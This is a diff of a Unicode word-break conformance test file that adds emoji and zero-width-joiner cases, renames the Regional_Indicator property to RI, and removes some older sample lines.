+÷ 0031 ÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0031 ÷ 0027 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 0027 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0031 ÷ 0027 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0031 ÷ 0027 × 0308 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1290,18 +1842,28 @@
÷ 0031 × 002C × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [11.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0031 ÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0031 ÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002C ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0031 ÷ 002C × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002C × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0031 ÷ 002C × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0031 ÷ 002C × 0308 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002C × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002C ÷ 0061 ÷ 003A ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1342,18 +1904,28 @@
÷ 0031 × 002E × 2060 × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [11.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0031 ÷ 002E × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0031 ÷ 002E × 2060 × 0308 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 002E × 2060 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1372,35 +1944,33 @@
÷ 0031 × 002E × 2060 × 0308 × 0031 ÷ 002C ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [11.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
÷ 0031 × 002E × 2060 × 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [11.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 × 002E × 2060 × 0308 × 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [11.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 0063 × 0061 × 006E × 0027 × 0074 ÷ # ÷ [0.2] LATIN SMALL LETTER C (ALetter) × [5.0] LATIN SMALL LETTER A (ALetter) × [5.0] LATIN SMALL LETTER N (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [7.0] LATIN SMALL LETTER T (ALetter) ÷ [0.3]
-÷ 0063 × 0061 × 006E × 2019 × 0074 ÷ # ÷ [0.2] LATIN SMALL LETTER C (ALetter) × [5.0] LATIN SMALL LETTER A (ALetter) × [5.0] LATIN SMALL LETTER N (ALetter) × [6.0] RIGHT SINGLE QUOTATION MARK (MidNumLet) × [7.0] LATIN SMALL LETTER T (ALetter) ÷ [0.3]
-÷ 0061 × 0062 × 00AD × 0062 × 0079 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [5.0] LATIN SMALL LETTER B (ALetter) × [4.0] SOFT HYPHEN (Format_FE) × [5.0] LATIN SMALL LETTER B (ALetter) × [5.0] LATIN SMALL LETTER Y (ALetter) ÷ [0.3]
-÷ 0061 ÷ 0024 ÷ 002D ÷ 0033 × 0034 × 002C × 0035 × 0036 × 0037 × 002E × 0031 × 0034 ÷ 0025 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] DOLLAR SIGN (Other) ÷ [999.0] HYPHEN-MINUS (Other) ÷ [999.0] DIGIT THREE (Numeric) × [8.0] DIGIT FOUR (Numeric) × [12.0] COMMA (MidNum) × [11.0] DIGIT FIVE (Numeric) × [8.0] DIGIT SIX (Numeric) × [8.0] DIGIT SEVEN (Numeric) × [12.0] FULL STOP (MidNumLet) × [11.0] DIGIT ONE (Numeric) × [8.0] DIGIT FOUR (Numeric) ÷ [999.0] PERCENT SIGN (Other) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
-÷ 0033 × 0061 ÷ # ÷ [0.2] DIGIT THREE (Numeric) × [10.0] LATIN SMALL LETTER A (ALetter) ÷ [0.3]
-÷ 0063 × 002E × 0064 ÷ # ÷ [0.2] LATIN SMALL LETTER C (ALetter) × [6.0] FULL STOP (MidNumLet) × [7.0] LATIN SMALL LETTER D (ALetter) ÷ [0.3]
-÷ 0043 × 002E × 0064 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (ALetter) × [6.0] FULL STOP (MidNumLet) × [7.0] LATIN SMALL LETTER D (ALetter) ÷ [0.3]
-÷ 0063 × 002E × 0044 ÷ # ÷ [0.2] LATIN SMALL LETTER C (ALetter) × [6.0] FULL STOP (MidNumLet) × [7.0] LATIN CAPITAL LETTER D (ALetter) ÷ [0.3]
-÷ 0043 × 002E × 0044 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (ALetter) × [6.0] FULL STOP (MidNumLet) × [7.0] LATIN CAPITAL LETTER D (ALetter) ÷ [0.3]
-÷ 2060 ÷ 0063 × 2060 × 0061 × 2060 × 006E × 2060 × 0027 × 2060 × 0074 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER N (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER T (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0063 × 2060 × 0061 × 2060 × 006E × 2060 × 2019 × 2060 × 0074 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER N (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] RIGHT SINGLE QUOTATION MARK (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER T (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0061 × 2060 × 0062 × 2060 × 00AD × 2060 × 0062 × 2060 × 0079 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER B (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER B (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER Y (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
